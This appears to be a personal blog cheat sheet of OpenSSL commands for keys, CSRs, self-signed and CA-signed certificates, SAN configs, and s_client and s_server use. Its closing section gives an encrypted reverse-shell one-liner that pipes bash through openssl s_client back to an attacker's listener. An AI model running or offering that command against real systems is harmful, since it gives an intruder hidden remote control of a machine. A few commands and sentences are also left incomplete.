OpenSSL is one of those applications that I use so often, but rarely do I ever recall what I’m supposed to do from memory. I’m always looking it up or eventually copying down some of the more frequent uses I have with it in my OneNote document. So here it is on my site, some quick one-off commands with OpenSSL.
To generate a server key (used in AES/RSA), use the following commands, and keep this key secure!
$ openssl genrsa -out mykey.key 2048
I’ve heard that while a 4096-bit key is significantly more secure, it is also more CPU intensive to decrypt, so while dealing with TLS certificates the general consensus is to use 2048 since it is “good enough” to the point where computational power these days can’t feasibly brute force the key in a reasonable amount of time, and it doesn’t slow down the connection time for the client like 4096-bits would. But still, YMMV.
Now keep it secure:
$ chmod 600 mykey.key
To get an official certificate, you need to generate a CSR which is to be signed by the trusted third party. Usually you pay a company to do this. You can do it yourself, but you’re basically telling everyone that you’re super trustworthy and no one should ever doubt you. And come on, you remember that time in Tijuana, don’t you? We do.
$ openssl req -new -key mykey.key -out mycert.csr
You’ll then be prompted for a bunch of metadata about the certificate. Make sure you don’t put anything too damning in the file and you’ll be alright. You should also use a challenge password as well I guess, but that’s up to you.
You should never do this in any sort of production environment. It trains users to accept fraudulent certificates generated by just about anybody, but sometimes you need to have some sort of cert there so at least data isn’t transmitted in the clear, so here’s how to sign a CSR. NOTE: This creates the key AND the signed certificate.
$ openssl req -newkey rsa:2048 -nodes -keyout mydomain.key -x509 -days 365 -out mydomain.crt
This will prompt you for all the metadata about the certificate as mentioned in generating a CSR.
To do the above with a key that you’ve already generated, use the following command:
$ openssl req -key mykey.key -new -x509 -days 365 -out mycert.crt
If you have the global CA key and want to legitimately sign a CSR, you can use this command:
$ openssl x509 -req -in mycert.csr -CA ca.cert.pem -CAkey ca.key.pem -CAcreateserial -out mycert.crt -days 365 -sha512
You can view the metadata of a certificate or CSR (such as the expiration date of the certificate or anything else about it) with the following:
$ openssl x509 -in mycert.crt -noout -text
Additionally, for a CSR you can use:
$ openssl req -text -noout -verify -in mycert.csr
This requires a little more work, and hopefully there’s a better one-liner way to do it, but until I found that out, the first thing you should do is create a file called
distinguished_name = req_distinguished_name
req_extensions = v3_req
prompt = no
C = US
ST = California
L = Sacremento
O = Widgets, Inc
OU = Accounting
CN = widgets.example.com
keyUsage = keyEncipherment, dataEncipherment
extendedKeyUsage = serverAuth
subjectAltName = @alt_names
DNS.1 = morewidgets.example.com
DNS.2 = evenmorewidgets.example.com
DNS.3 = toomanywidgets.example.com
Obviously fill out the above with more appropriate data to your needs, then run the following to generate both the private key and the CSR file:
$ openssl req -out widgets.csr -newkey rsa:2048 -nodes -keyout private.key -config san.cnf
Don’t forget to
chmod 600 private.key afterwards!
Slightly different than the above.
$ openssl req -out widgets.csr -new -key private.key -config san.cnf
Is a service listening on some port that’s encrypted but you want to send raw data to it? You can use OpenSSL’s client application to connect to it as you would using netcat or telnet, only it handles the encryption overhead so you can communicate with the server on a raw level!
$ openssl s_client -connect <RHOST>:<RPORT>
Upon connecting, you should see the TLS overhead of the handshake stuff until ultimately the connection is finally made. You can suppress that with the
Similarly, you can start a listener that is encrypted using openssl as well:
$ openssl s_server -key mykey.key -cert mycert.crt -port 9090
You can add the
-quiet flag here as well.
For the crafty hacker, you can encrypt the shell across the wire using openssl as well.
- First, generate the key on your local box:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes # hit enter for default until key is generated
- Then, start the listener:
$ openssl s_server -quiet -key key.pem -cert cert.pem -port 9090
- Now on the remote server, execute the following:
$ mkfifo /tmp/a; /bin/bash -I 2>&1 </tmp/a | openssl s_client -quiet -connect <LHOST>:9090 >/tmp/a;rm /tmp/a
OpenSSL is really handy to know!